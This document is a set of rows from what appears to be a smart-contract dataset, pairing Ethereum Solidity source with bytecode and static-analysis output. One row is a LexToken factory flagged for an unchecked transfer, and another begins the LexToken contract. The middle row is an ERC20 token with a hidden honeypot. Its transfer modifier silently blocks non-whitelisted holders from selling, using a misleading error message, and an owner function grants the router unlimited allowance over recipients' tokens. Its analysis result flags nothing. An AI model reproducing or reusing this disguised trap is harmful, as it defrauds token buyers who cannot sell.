_decimals,
managerSupply,
_saleRate,
saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale,
_transferable);
(bool success, ) = lexDAO.call{value: msg.value}("");
require(success, "!transfer");
IERC20Transfer(lexDAOtoken).transfer(msg.sender, userReward);
emit LaunchLexToken(address(lex), _manager, _resolver, _forSale);
}
function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string memory _details) external {
require(msg.sender == lexDAO, "!lexDAO");
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
userReward = _userReward;
details = _details;
emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details);
}
}
|
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d1461040c578063e5a6c28f1461042157610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610448565b005b34801561027757600080fd5b506102806107f2565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b1610801565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b5061028061088f565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108b3945050505050565b34801561041857600080fd5b506102806109f9565b34801561042d57600080fd5b50610436610a08565b60408051918252519081900360200190f35b60006104737f000000000000000000000000a8c8d0f563efc6228343df446a2c301e4af0849c610a0e565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561053357818101518382015260200161051b565b50505050905090810190601f1680156105605780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561059357818101518382015260200161057b565b50505050905090810190601f1680156105c05780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105f35781810151838201526020016105db565b50505050905090810190601f1680156106205780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d80600081146106b1576040519150601f19603f3d011682016040523d82523d6000602084013e6106b6565b606091505b50509050806106f8576040805162461bcd60e51b815260206004820152600960248201526810ba3930b739b332b960b91b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074f57600080fd5b505af1158015610763573d6000803e3d6000fd5b505050506040513d602081101561077957600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f3942e78554d7e036b934b707ed79e70c2008d3f21b21d2a992909cb56e3443238760405180821515815260200191505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108875780601f1061085c57610100808354040283529160200191610887565b820191906000526020600020905b81548152906001019060200180831161086a57829003601f168201915b505050505081565b7f000000000000000000000000a8c8d0f563efc6228343df446a2c301e4af0849c81565b6000546001600160a01b031633146108fc576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b031992831617909255600180549286169290911691909117905560028290558051610944906003906020840190610a60565b5081836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a59846040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b95781810151838201526020016109a1565b50505050905090810190601f1680156109e65780820380516001836020036101000a031916815260200191505b509250505060405180910390a450505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610aa157805160ff1916838001178555610ace565b82800160010185558215610ace579182015b82811115610ace578251825591602001919060010190610ab3565b50610ada929150610ade565b5090565b5b80821115610ada5760008155600101610adf56fea264697066735822122077669d792115bddb4c52fb5e73408370b8955ccbf911cf68c8eb7d4df2a86de564736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,180 |
0xa3754c5ffc0ef31078b2c231f5b76e5fed830858
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_YOP(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220899f90d2a1a0ef2ff49f518f77b2cea4156ed82f24afd622be47357884f66f3164736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,181 |
0x10b37abfff7b037a9e912f8e4da9e9ad43968551
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string[]public offers; // offers made for lexToken redemption - updateable by manager
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event AddOffer(uint256 index, string terms);
event AmendOffer(uint256 index, string terms);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
